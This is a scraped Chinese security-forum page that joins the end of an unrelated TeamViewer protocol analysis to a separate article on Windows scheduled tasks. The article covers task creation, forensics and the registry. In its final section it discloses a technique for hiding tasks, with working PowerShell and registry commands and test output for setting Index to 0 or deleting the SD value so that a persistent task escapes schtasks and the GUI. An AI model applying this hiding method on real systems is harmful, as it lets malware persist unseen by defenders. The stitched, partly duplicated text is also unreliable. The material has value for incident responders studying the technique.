根据多次对同一版本和不同版本的TeamViewer进行抓包,我发现这个CMD_IDENTIFY是流量检测中识别TeamViewer是否成功连接对方的重要标志。它存在于每次TeamViewer成功连接后的第一个包。但由于版本的不同，他每次的hex也是不同的。所幸，这个包在多个版本中长度保持不变，为32，且均以17
24 0a 开头。
**CMD_REQUESTCONNECT**
该命令包含向对方设备发送请求连接的信息。在此数据包的内容中，我们看到了另一台设备的实际TeamViewer
ID，一个连接ID（可在通信的其他部分中用作参考），有时还包括发出请求的IP地址。
**CMD_CONNECTTOWAITINGTHREAD**
当请求与对方TeamViewer建立连接时，本机TeamViewer会接收这条消息。在16年的版本中，它包含发送设备的TeamViewer
ID，TeamViewer基础结构使用的任何代理IP地址以及会话ID。在19年和20年的版本中，它的消息已经被加密。
### 2.4 协议流程:两台机器之间的通讯
在上文中，我们在pcap中是有看到udp流量的，很明显TeamViewer可以在UDP上运行。而且udp流量是从最后一个tcp后开始，称为
**CMD_UDPFLOWCONTROL**
。这里意味着，两台机器之间(尤其是位于不同专用网络上的设备之间)开始建立连接。为此，TeamViewer服务器提供了一些非常有用的数据:
a.另一端的目标IP地址（公共和一个或多个 **私有** IP地址）
b.不同通信的目标端口
但是，读者们可能已经注意到UDP数据包（上面的蓝色）没有为其协议标记为TEAMVIEWER。原因是因为TeamViewer创建的UDP消息在内容的开头插入了其他空字节，从而更改了标头。
上面的 **CMD_UDPPING** 可以验证现在所使用IP和端口是否可以将消息传送到达目标IP。当我尝试访问不在同一网络上的TeamViewer
PC时，只看到公有IP地址。
一旦设备尝试通过UDP开始通信（即完全避开TeamViewer
的TCP流量），我们就能够了解通信双方的公有IP地址和私有IP地址，以及它们使用的通信端口。此外，我们可以根据成功后的通信包来识别对方IP所处网络位置(内外网)。
### 2.5 协议流程：一些其他操作
我们知道，在两台机器成功连接后，我们可以对对方机器进行一些操作，比如可以远程锁定屏幕或切换控制发生的方向。这些行为似乎与
**CMD_CARRIERSWITCH** 相关。
另外，整个连接（传入和传出）过程涉及master server，KeepAlives
Server（传入端）和它们都连接到的网关服务器。一旦它们都连接并且建立会话，就可以发现它们之间通讯使用的Data4数据包。
成功连接示意图：
### 2.6 协议流程: 总结
综上所述，整个TeamViewer 的通讯流程如下时序图所示：
## 3 TeamViewer 的加密与身份认证
首先我们来看看他的整个加密与身份认证流程：
### 3.1 加密流量
TeamViewer流量使用RSA公钥/私钥交换和AES（256位）会话进行加密保护。这项技术在https/SSL中有着可比性，在当今的安全标准中被认为是最安全的。由于私钥永远不会离开客户端计算机，所以整个过程可以确保互连的PC（包括TeamViewer路由服务器）都无法解密流量。
### 3.2 身份验证
每台TeamViewer客户端都使用了主集群(master cluster
)的公钥，因此可以对主集群的消息进行加密，并检查由它签名的消息。PKI（Public Key
Infrastructure，公钥基础设施）有效地防止了中间人攻击，尽管加密了密码，但密码从不直接发送，而是通过响应返回，并且只保存在本地计算机上。在身份验证过程中，由于使用了安全远程密码（SRP）协议，因此不会直接传输密码。本地计算机上只存储一个密码验证器。在身份验证过程中，由于使用了安全远程密码（SRP）协议，因此不会直接传输密码，而是在本地PC上存储了码验证器。 | 社区文章 |
**作者：REInject@73lab@青藤实验室**
**原文链接：<https://mp.weixin.qq.com/s/ktGug1VbSpmzh9CEGKbbdw>**
恶意软件或攻击者通常使用计划任务作为他们的持久化机制。从风险发现的角度考虑，理解计划任务的运行和创建方式以及和计划任务相关联的进程是有必要的。此外，本文还分享了一种
**未公开** 的计划任务隐藏方式。
现在，让我们开始了解计划任务的一切。
## 计划任务的创建方式
MSDN 里对计划任务的细节信息描述得很详细了，包括使用的API或工作机制。所以不再重复阐述，只引用一些必要的东西：
计划任务调度器会根据任务的定义在指定的时间触发任务，它包含以下组件：
* Triggers：任务触发的条件
* Actions：任务运行的时候执行的动作
* Principals：指定运行任务的用户或用户组信息
* Settings：指定影响任务行为的其他设置
* Registration Information：包含任务创建时间、创建人等信息
* Data：执行任务时使用的额外的信息
更多信息可以在 [MSDN](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page) 找到。
### 命令行创建计划任务
命令行创建计划任务包括 at.exe 和 schtasks.exe。
#### at.exe
使用 at 命令创建计划任务的方式：
at 11:11 /every:Sunday,Monday,Tuesday "malware.exe"
以上命令将创建一个计划任务，在每周日、周一、周二的 11:11 执行 malware.exe。
也可以通过 `\\ComputerName` 在指定计算机上运行，更多的参数信息参考
[MSDN](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb490866%28v=technet.10%29)。
下面这些信息可能会帮助排查 at.exe 生成的计划任务：
* 路径： `%SystemRoot%\System32\at.exe`
* 权限： 必须是管理员组用户
* 排查： 检查创建任务时的命令行内容，看看可执行程序或者命令是否是恶意的
* 其他：
* at 创建的任务文件位置：`%SystemRoot%\Tasks`，关注 At[x].job 文件，x 代表任务的 ID
* 和任务相关的 XML 文件位置：`%SystemRoot%\System32\Tasks`
* 如果任务日志是启用的，可以排查 `应用程序和服务日志/Microsoft/Windows/TaskScheduler/Operational` 事件日志
#### schtasks.exe
at.exe 在 windows8 开始就 **弃用** 了，之后的系统都是使用 schtasks.exe 创建计划任务，该命令参数信息如下：
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
schtasks 比 at 更加强大，提供了很多自定义任务时需要的参数。在对计划任务排查时，我们可能更关注的是执行的任务内容，和它相关的参数是
`TR`。一般情况创建恶意计划任务的命令大概是这样子：
"c:\Windows\System32\schtasks.exe" /Create /SC ONCE /TN KglN9I99 /TR "cmd /c \"start /min C:\ProgramData\KglN9I99.bat\"" /ST 20:21
这个命令中使用了 `/TN` 指定任务名称为 KglN9I99，`/TR` 参数指定运行的恶意命令，`/ST` 指定了运行时间，`/SC`
指定运行周期，还可以通过 `/ED` 参数指定任务终止日期等。
更多关于 schtasks.exe 的用法，参考 [MSDN](https://docs.microsoft.com/en-us/windows/win32/taskschd/schtasks)
下面这些信息可能会帮助排查 schtasks.exe 生成的计划任务：
* 路径： `%SystemRoot%\System32\schtasks.exe`
* 权限： 普通用户。如果要显式指定高权用户运行任务，需要该账户的账户名和密码信息。
* 排查：
* 检查调用 schtasks 的父进程信息，是否有权创建任务
* 检查 `/TR` 参数的值，可执行文件或命令是否是恶意的
* 其他：
* 和任务相关的 XML 文件位置：`%SystemRoot%\System32\Tasks`
* 如果任务日志是启用的，可以排查 `应用程序和服务日志/Microsoft/Windows/TaskScheduler/Operational` 事件日志
一旦任务创建，将会自动在目录 `%SystemRoot%\System32\Tasks` 生成一个关于该任务的描述性 XML 文件，包含了所有的任务信息。
### 图形界面创建计划任务
win+r 启动 taskschd.msc
mmc 程序启动后会直接提权到管理员权限，所以普通用户可以创建高权限的任务：
选中 Task Scheduler Library ，右键 Create Task...，在弹出界面，逐个配置即可:
需要注意的是，通过 `taskschd.msc` 创建的任务会直接从托管 **Task Scheduler** 服务的 svchost.exe 进程派生。
### 代码创建计划任务
代码最终都是和 `c:\windows\system32\taskschd.dll` 提供的 COM 服务交互，它的 GUID 是
`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`。
注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}
该 COM 组件不支持 Elevation，无法自动提权。
下面是2种创建计划任务的代码示例。
#### csharp
c# 实现的话，为了方便，引用 [TaskScheduler](https://github.com/dahall/TaskScheduler)
项目进行计划任务的创建：
using System;
using System.Security.Principal;
using System.Security.AccessControl;
using Microsoft.Win32.TaskScheduler;
using System.Text.RegularExpressions;
namespace SchtaskHidden
{
class Program
{
static void Main(string[] args)
{
//TaskCollection tt = TaskService.Instance.RootFolder.GetTasks(new Regex("test"));
//foreach(Task ti in tt)
//{
// Console.WriteLine(ti.Name);
//}
//System.Environment.Exit(0);
TaskDefinition td = TaskService.Instance.NewTask();
td.RegistrationInfo.Description = "do something";
//td.Principal.RunLevel = TaskRunLevel.Highest;
//td.Principal.LogonType = TaskLogonType.ServiceAccount;
//td.Principal.UserId = "SYSTEM";
TimeTrigger dt = new TimeTrigger();
dt.StartBoundary = DateTime.Now;
dt.Repetition.Interval = TimeSpan.FromMinutes(1);
td.Triggers.Add(dt);
td.Actions.Add("cmd.exe", "/c \"calc.exe\"", null);
Task t = TaskService.Instance.RootFolder.RegisterTaskDefinition(path: "testxxx", definition: td, TaskCreation.CreateOrUpdate, null, null, 0);
Console.WriteLine("success!!");
//TaskSecurity ts = new TaskSecurity(t);
//ts.RemoveAccessRuleAll(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.ServiceSid, null), TaskRights.Read | TaskRights.Write | TaskRights.ReadAttributes, AccessControlType.Allow));
//t.SetAccessControl(ts);
//Console.WriteLine("success!!");
}
}
}
#### powershell
$TaskDescr = "test task"
$Author = "thin0"
$TaskName = "test"
$TaskStartTime = [datetime]::Now
$TaskCommand = "cmd.exe"
$TaskArg = "/c calc.exe"
$UserAcct = "$env:userdomain\$env:username"
# $UserAcct = "SYSTEM"
$ScheduleObject = new-object -ComObject("Schedule.Service")
# connect to the local machine.
$ScheduleObject.Connect("localhost")
$rootFolder = $ScheduleObject.GetFolder("\")
$TaskDefinition = $ScheduleObject.NewTask(0)
$TaskDefinition.RegistrationInfo.Description = "$TaskDescr"
$TaskDefinition.RegistrationInfo.Author = "$Author"
#$TaskDefinition.Principal.RunLevel = 1
$TaskDefinition.Settings.Enabled = $true
$TaskDefinition.Settings.AllowDemandStart = $true
$TaskDefinition.Settings.DisallowStartIfOnBatteries = $false
$TaskDefinition.Settings.ExecutionTimeLimit = "PT0S" # See Note Below
$triggers = $TaskDefinition.Triggers
$trigger = $triggers.Create(1) # Creates a "time-based" trigger, 8: system startup
$trigger.StartBoundary = $TaskStartTime.ToString("yyyy-MM-dd'T'HH:mm:ss")
$trigger.Repetition.Interval = 1
$trigger.Enabled = $true
$Action = $TaskDefinition.Actions.Create(0)
$action.Path = "$TaskCommand"
$action.Arguments = "$TaskArg"
$rootFolder.RegisterTaskDefinition($TaskName,$TaskDefinition,6,$UserAcct,$null,3)
powershell 可以不用这么麻烦，有自带的 cmdlet：
$taskname = "test"
$cmd = "cmd.exe"
$cmdargs = "/c calc.exe"
$username = "$env:username"
#$username = "SYSTEM"
$taskdescription = "test task"
$action = New-ScheduledTaskAction -Execute $cmd -Argument $cmdargs
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -minutes 1)
$settings = New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Minutes 0) -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName $taskname -Description $taskdescription -Settings $settings -User $username -RunLevel 1 # 1 for highest, 0 for low
删除命令：`Unregister-ScheduledTask -TaskName test -Confirm:$false`
## 深入理解计划任务
### 计划任务的父进程
运行计划任务的相关服务是： **Task Scheduler** 。该服务使用 svchost.exe 的 netsvcs 组进行托管。
通过进程树看到 svchost.exe 进程的命令行为
svchost.exe -k netsvcs -p -s Schedule
在 Windows 10.1703以下可能看不到 `-s Schedule` 参数。
#### taskeng.exe
在旧系统中计划任务的进程派生顺序是这样子的： svchost.exe -> taskeng.exe -> [SpecialTaskProcess]
例如：
taskeng.exe 的进程参数语法如下：
taskeng.exe {GUID} [User SID]:[Domain]\[User Name]:[Options]
某些情况下，可能只有 {GUID} 一个参数，Options 参数可能会标识一些其他信息，例如权限信息，如果一个任务运行在高权限模式下，Options
的内容会是：`Interactive:Highest[1]`
所以在旧的系统中可以查看进程树排查恶意进程，例如找到 taskeng.exe 的进程树，它的父进程为`svchost.exe -k netsvcs`。
子进程就是运行中的任务对应的进程，通过排查子进程确定恶意进程。
#### svchost.exe
win7之后，计划任务托管程序从 taskeng.exe 慢慢迁移到 svchost.exe，这期间计划任务进程派生可能有两种顺序：
* wininit.exe -> services.exe -> svchost.exe -> [SpecialTaskProcess]
* wininit.exe -> services.exe -> svchost.exe -> taskeng.exe -> [SpecialTaskProcess]
从 Windows 10.1511 版本开始，不再有 taskeng.exe 了，新版本系统中找不到该程序，任务进程直接运行在托管 Task
Scheduler 服务的 svchost.exe 进程下：
所以高版本系统中，我们可以通过
svchost.exe -k netsvcs
排查进程的子进程来确定恶意或可疑程序。
#### taskhostw.exe
在上面的图里，可以很明显注意到
svchost.exe -k netsvcs
下还有一个名为 taskhostw.exe 的进程。
在 Windows 7 上该进程名为：taskhost.exe。
在 Windows 8 上该进程名为：taskhostex.exe。
该进程的作用同 dllhost.exe 和 svchost.exe 相似，起到一个 DLL 托管的作用。
通过搜索 `%SystemRoot%\System32\Tasks` 文件夹，我们能发现一些任务对应的动作不是 Exec，而是 ComHandler。
我们找到一些能起到对比效果的任务 XML，隐藏了一些不必要的字段。
这是我们利用 schtasks.exe 命令创建的任务 XML：
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Actions Context="Author">
<Exec>
<Command>"C:\Program Files (x86)\IObit\Advanced SystemCare\ASC.exe"</Command>
<Arguments>/SkipUac</Arguments>
</Exec>
</Actions>
</Task>
这个是系统 .NET Framework 的计划任务 XML 内容，如果安装了 .NET 框架可以在
%SystemRoot%\System32\Tasks\Microsoft\Windows\.NET Framework
目录下找到：
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.6" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Actions Context="Author">
<ComHandler>
<ClassId>{84F0FAE1-C27B-4F6F-807B-28CF6F96287D}</ClassId>
<Data><![CDATA[/RuntimeWide]]></Data>
</ComHandler>
</Actions>
</Task>
手动触发 .NET Framework 任务，该任务调用 ngentasklauncher.dll ，通过 ProcExp.exe 监控进程观察到的进程树：
可以注意到 taskhostw.exe 的参数 `/RuntimeWide` 和 xml 中 `\<Data\>` 标签指定的一样。
在观察 taskhostw.exe 进程树的过程中，发现下面的命令行参数：
taskhosw.exe Install $(Arg0)
这个东西在 [MSDN](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-actions) 中做了介绍：
由此可知，`$(Arg0)` 这个参数是在通过 `IRegisteredTask::Run[Ex]` 接口运行任务时动态指定的。在一些 Windows
默认的任务中常见：
\Microsoft\Windows\Workplace Join\Automatic-Device-Join 任务：
<?xml version="1.0" encoding="UTF-16"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Actions Context="LocalSystem">
<Exec>
<Command>%SystemRoot%\System32\dsregcmd.exe</Command>
<Arguments>$(Arg0) $(Arg1) $(Arg2)</Arguments>
</Exec>
</Actions>
</Task>
\Microsoft\Windows\Maps\MapsToastTask 任务：
<?xml version="1.0" encoding="UTF-16"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Actions Context="Users">
<ComHandler>
<ClassId>{9885AEF2-BD9F-41E0-B15E-B3141395E803}</ClassId>
<Data><![CDATA[$(Arg0);$(Arg1);$(Arg2);$(Arg3);$(Arg4);$(Arg5);$(Arg6);$(Arg7)]]></Data>
</ComHandler>
</Actions>
</Task>
查阅 [MSDN](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page) 可知，该参数可以通过以下 API 进行传递：
* [ITaskHandler::Start](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskhandler-start)
* [IRegisteredTask::Run](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-run)
* [IRegisteredTask::RunEx](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-runex)
* [IExecAction::put_Arguments](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iexecaction-put_arguments)
* [ITask::SetParameters](https://docs.microsoft.com/en-us/windows/win32/api/mstask/nf-mstask-itask-setparameters)
### 计划任务相关注册表项
在一次应急排查中，只能从计划任务日志中看到恶意计划任务在周期性的执行，但却无法通过 taskschd.msc 或 schtasks
查询到恶意任务，并且通过排查 `%SystemRoot%\System32\Tasks` 目录后仍无法找到它。
在测试中发现，创建计划任务 test 后，无论是手动修改任务 xml 文件，还是删除任务 xml
文件，都无法影响该任务的运行。于是对注册表项进行监控，发现在创建任务后，下面的注册表项发生变化：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule
下面是从 [winreg-kb](https://github.com/libyal/winreg-kb/blob/master/documentation/Task%20Scheduler%20Keys.asciidoc) 项目中得到该注册表对应的信息：
在 XP 时，计划任务注册表路径为
HKEY_LOCAL_MACHINE\Software\Microsoft\SchedulingAgent
Win7 以后发生变化，变成
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule
子项有：
名称 | 描述
---|---
Aliases | 存储AtServiceAccount，默认NT AUTHORITY\System
CompatibilityAdapter |
Configuration |
CredWom |
Handlers |
Handshake |
TaskCache | 存储任务项信息
任务项信息除了在磁盘中的 `%SystemRoot%\System32\Tasks` 下之外，还在下面的注册表项中存在：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
Schedule\TaskCache :
名称 | 描述
---|---
Boot |
Logon |
Plain |
Plain |
Tree |
TaskCache\Tree 子项以任务名称命名，每个任务下的 Value 结构如下：
名称 | 类型 | 描述
---|---|---
Id | REG_SZ | {GUID}，任务对应的guid编号
Index | REG_DWORD | 一般任务为3，其他值未知
SD | REG_BINARY | 该任务项的安全描述信息，二进制值，结构未知
每个 Schedule\TaskCache\Tasks\%GUID% 对应一个任务，有这些 Value :
名称 | 类型 | 描述
---|---|---
Actions | REG_BINARY | 二进制值，动作信息，中间包含 UNICODE 形式 COMMAND 信息
Date | REG_SZ | 任务创建日期?
Description | REG_SZ | 任务描述
DynamicInfo | REG_BINARY | Win7 以下 28 位，Win8 以上 32 位
Hash | REG_BINARY | SHA-256 or CRC32, 疑似对应 xml 文件 Hash
Path | REG_SZ | 在 TaskCache\Tree 中的任务路径
Schema | REG_DWORD |
Triggers | REG_BINARY | 二进制，触发器信息
URI | REG_SZ | 任务路径
如果是 at 命令创建的计划任务，对应的注册表位置在
Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\At1
### 计划任务的安全描述符（SD）
计划任务的 SD 配置在注册表中的位置：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}\SD
为人类不可读的二进制格式：
在一篇关于隐藏windows服务的文章中，了解到通过修改对象的安全描述信息可以达到隐藏的目的。触类旁通一下，计划任务的隐藏应该也是可以通过改变安全描述信息（SD）实现。
Windows 自带的工具 schtasks.exe 并不支持 sd 的设置，需要通过 API 实现。通过查阅 MSDN 并未发现对于 TASK 的
SDDL 该怎么写，相关 API 列表： \-[IRegistrationInfo::put_SecurityDescriptor](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregistrationinfo-put_securitydescriptor) \-[ITaskFolder::CreateFolder](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-createfolder) \-[ITaskFolder::CreateFolder](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-registertask) \-[ITaskFolder::RegisterTaskDefinition](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-registertaskdefinition)
\- [ITaskFolder::SetSecurityDescriptor](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-setsecuritydescriptor)
\- [IRegisteredTask::SetSecurityDescriptor](https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-setsecuritydescriptor)
通过这些 API 可以实现设置 TASK 的 SD 信息。我尝试使用项目
[TaskScheduler](https://github.com/dahall/TaskScheduler) 进行任务的创建，它用起来会更方便一些：
using System;
using System.Security.Principal;
using System.Security.AccessControl;
using Microsoft.Win32.TaskScheduler;
namespace SchTaskOpt
{
class Program
{
static void Main(string[] args)
{
TaskDefinition td = TaskService.Instance.NewTask();
td.RegistrationInfo.Description = "do something";
td.Principal.RunLevel = TaskRunLevel.Highest;
td.Principal.LogonType = TaskLogonType.ServiceAccount;
td.Principal.UserId = "SYSTEM";
td.RegistrationInfo.SecurityDescriptorSddlForm = @"D:P(D;;DCLCWPDTSD;;;IU)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)";
DailyTrigger dt = new DailyTrigger();
dt.StartBoundary = DateTime.Now;
dt.DaysInterval = 1;
dt.Repetition.Interval = TimeSpan.FromMinutes(1);
//td.Triggers.Add(dt);
td.Actions.Add("notepad", null, null);
Task t = TaskService.Instance.RootFolder.RegisterTaskDefinition(path:"test2", definition:td, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.ServiceAccount);
Console.WriteLine("success!!");
//TaskSecurity ts = new TaskSecurity(t);
//ts.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null), TaskRights.Read | TaskRights.Write | TaskRights.ReadAttributes, AccessControlType.Deny));
//t.SetAccessControl(ts);
Console.WriteLine("success!!");
}
}
}
但不幸的是报错了，无论是通过管理员运行还是 SYSTEM，都无法另其正常运作：
PS C:\source\SchTaskOpt\bin\> .\SchTaskOpt.exe
未经处理的异常: System.Runtime.InteropServices.COMException: 异常来自 HRESULT:0xD0000061
在 Microsoft.Win32.TaskScheduler.V2Interop.ITaskFolder.RegisterTaskDefinition(String Path, ITaskDefinition pDefinition, Int32 flags, Object UserId, Object password, TaskLogonType LogonType, Object sddl)
在 Microsoft.Win32.TaskScheduler.TaskFolder.RegisterTaskDefinition(String path, TaskDefinition definition, TaskCreation createType, String userId, String password, TaskLogonType logonType, String sddl)
这个疑问先保留一下吧，需要清楚知道注册表中每个任务自动生成的 SD
格式才有头绪，这份[类型结构清点](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/)也许会排上用场。
## 计划任务隐藏新姿势
臆想一下，如果知道注册表里的所有结构形式及其意义，就可以手动通过添加注册表的方式进行创建计划任务，实际对该注册表项了解的并不是很清楚，所以只能做一些计划任务隐藏删除排查的工作。
我对计划任务隐藏的手法进行深入探究，经过不断测试，发现两种隐藏任务的方式。
### 非完全隐藏
如果想要隐藏一个计划任务，可以通过修改 Schedule\TaskCache\Tree 中对应任务的 Index 值，一般情况下都是 3，步骤如下：
* 启动 SYSTEM 权限 cmd：`psexec64 -i -s cmd.exe`
* 执行 regedit 以 SYSTEM 权限启动注册表编辑器
* 修改 `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree` 下对应任务的 Index 值为 `0`
* 删除 `%SystemRoot%\System32\Tasks` 下任务对应的 XML 文件
优点： \- 利用 taskschd.msc、schtasks 甚至系统API查询出的所有任务中，都看不到该任务
缺点： \- 并非完全隐藏，如果知道该任务的名字，可以通过 `schtasks /query /tn {TaskName}` 查到 \-无论是低权的任务还是高权，都需要 SYSTEM 权限（在win10测试，低版本好像没这个要求，待测试）
#### 测试用例
PS C:\> schtasks.exe /create /tn test /tr "calc.exe" /sc minute /mo 1 /ru "administrator"
成功: 成功创建计划任务 "test"。
PS C:\> schtasks.exe /query /tn test
文件夹: \
任务名 下次运行时间 模式
======================================== ====================== ===============
test 2021/1/11 14:54:00 就绪
PS C:\> schtasks.exe /query|findstr test
test 2021/1/11 14:55:00 ??
PS C:\> Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test" -Name "Index" -Value 0
PS C:\> schtasks.exe /query|findstr test
PS C:\> schtasks.exe /delete /tn test /f
成功: 计划的任务 "test" 被成功删除。
PS C:\>
#### 原理探究
Index 的含义未知，这个暂时不做探讨。
### 完全隐藏
按道理，是可以通过配置任务 SD 实现。在一次测试过程中，偶然删除了注册表中的 SD 项，发现无论什么方式都查不到任务信息，达到完全隐藏的目的：
* 启动 SYSTEM 权限 cmd：`psexec64 -i -s cmd.exe`
* 执行 regedit 以 SYSTEM 权限启动注册表编辑器
* 删除 `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}\SD`
* 删除 `%SystemRoot%\System32\Tasks` 下任务对应的 XML 文件
优点： \- 无论何种方式（除了注册表），都查不到该任务，较为彻底
缺点： \- 无论是低权的任务还是高权，都需要 SYSTEM 权限（在win10测试，低版本好像没这个要求，待测试）
#### 测试用例
下面是测试用的 powershell 代码（不通用，里面涉及的二进制内容需要先dump一个正常创建的任务）：
$taskname = "test"
$uuid = "{3EC79FBB-0533-4356-89B3-8CE2003F1CD8}"
$cmd = "calc.exe"
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\" -Name $uuid
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$uuid\" -Name "Path" -Value "\$taskname" -Type String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$uuid\" -Name "URI" -Value "\$taskname" -Type String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$uuid\" -Name "Schema" -Value 0x00010002 -Type DWORD -Force
$triggerstring = "FwAAAAAAAAABBwEAAAAIAAAI/NDz5dYBAAcBAAAACAD//////////zghQUNISEhI38PL80hISEgOAAAASEhISEEAdQB0AGgAbwByAAAASEgAAAAASEhISABISEhISEhIAEhISEhISEgBAAAASEhISBwAAABISEhIAQUAAAAAAAUVAAAAEXy5KUkCH0AHyc8n6AMAAEhISEgsAAAASEhISFQARQBDAEgATABJAFUAMQAwADUANwBcAHQAZQBjAGgAbABpAHUAAAAAAAAASEhISCwAAABISEhIWAIAABAOAACA9AMA/////wcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABISEhI3d0AAAAAAAABBwEAAAAIAAAI/NDz5dYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAP////8AAAAAAAAAAAAAAAAAAcVLAQAAAAAAAAB2oQAAAAAAAEhISEg="
$triggerbytes = [System.Convert]::FromBase64String($triggerstring)
$actionbytes = [byte[]](0x03,0x00,0x0c,0x00,0x00,0x00,0x41,0x00,0x75,0x00,0x74,0x00,0x68,0x00,0x6f,0x00,0x72,0x00,0x66,0x66,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00) + [System.Text.Encoding]::Unicode.GetBytes($cmd) + [byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$uuid\" -Name "Triggers" -Value $triggerbytes -Type binary -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$uuid\" -Name "Actions" -Value $actionbytes -Type binary -Force
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree" -Name $taskname -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\$taskname" -Name "Id" -Value "{3EC79FBB-0533-4356-89B3-8CE2003F1CD8}" -Type string -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\$taskname" -Name "Index" -Value 0x3 -Type DWORD -Force
#Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\$taskname" -Force
#Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$uuid" -Force
更通用一些的测试用例：
PS C:\> schtasks.exe /create /tn test /tr "calc.exe" /sc minute /mo 1 /ru "administrator"
成功: 成功创建计划任务 "test"。
PS C:\> schtasks.exe /query /tn test
文件夹: \
任务名 下次运行时间 模式
======================================== ====================== ===============
test 2021/1/11 14:56:00 就绪
PS C:\> schtasks.exe /query|findstr test
test 2021/1/11 14:56:00 ??
PS C:\> Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test" -Name "SD"
PS C:\> schtasks.exe /query /tn test
错误: 系统找不到指定的文件。
PS C:\> schtasks.exe /query|findstr test
PS C:\>
这种方式创建的计划任务，删除要相对麻烦一些：
$taskname = "test"
$uuid = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\$taskname" -Name "Id").Id
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$uuid"
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\$taskname"
sc.exe stop schedule
sc.exe start schedule
#### 原理探究
经过进程监控，发现在计划任务信息查询过程中的流程如下：
* 查询 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\SD`，查的到继续，查不到则终止查询
